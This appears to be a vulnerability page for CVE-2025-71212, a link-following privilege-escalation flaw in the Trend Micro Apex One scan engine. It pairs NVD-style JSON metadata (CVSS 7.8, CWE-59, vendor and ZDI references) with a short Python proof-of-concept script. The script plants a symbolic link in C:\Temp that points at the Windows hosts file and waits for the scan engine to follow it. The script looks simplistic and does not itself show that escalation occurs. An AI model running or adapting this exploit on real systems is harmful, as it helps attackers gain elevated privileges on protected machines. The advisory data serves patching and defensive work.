CVE-2025-71212

# Proof of Concept for CVE-2025-71212 (Symbolic Link Following) # This script demonstrates the creation of a symbolic link to exploit the vulnerability. # Note: Running this requires appropriate privileges and a vulnerable environment. import os # Configuration TARGET_FILE = r"C:\Windows\System32\drivers\etc\hosts" MALICIOUS_LINK_DIR = r"C:\Temp\ExploitDir" MALICIOUS_LINK_NAME = "payload.dat" print("[+] Creating directory structure...") if not os.path.exists(MALICIOUS_LINK_DIR): os.makedirs(MALICIOUS_LINK_DIR) link_path = os.path.join(MALICIOUS_LINK_DIR, MALICIOUS_LINK_NAME) print(f"[+] Creating symbolic link: {link_path} -> {TARGET_FILE}") try: # Create a symbolic link pointing to a sensitive system file os.symlink(TARGET_FILE, link_path) print("[+] Symbolic link created successfully.") print("[*] Wait for the Apex One scan engine to process the directory.") print("[*] The engine will follow the link and access the target file with elevated privileges.") except OSError as e: print(f"[-] Error creating symlink: {e}") print("[-] Ensure Developer Mode is enabled or run as Administrator.")

{"cve": {"id": "CVE-2025-71212", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:43.777", "lastModified": "2026-05-21T15:05:28.023", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A link following vulnerability in the Trend Micro Apex One scan engine could allow a local attacker to escalate privileges on affected installations.\r\n\r\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://success.trendmicro.com/en-US/solution/KA-0022458", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-138/", "source": "[email protected]"}]}}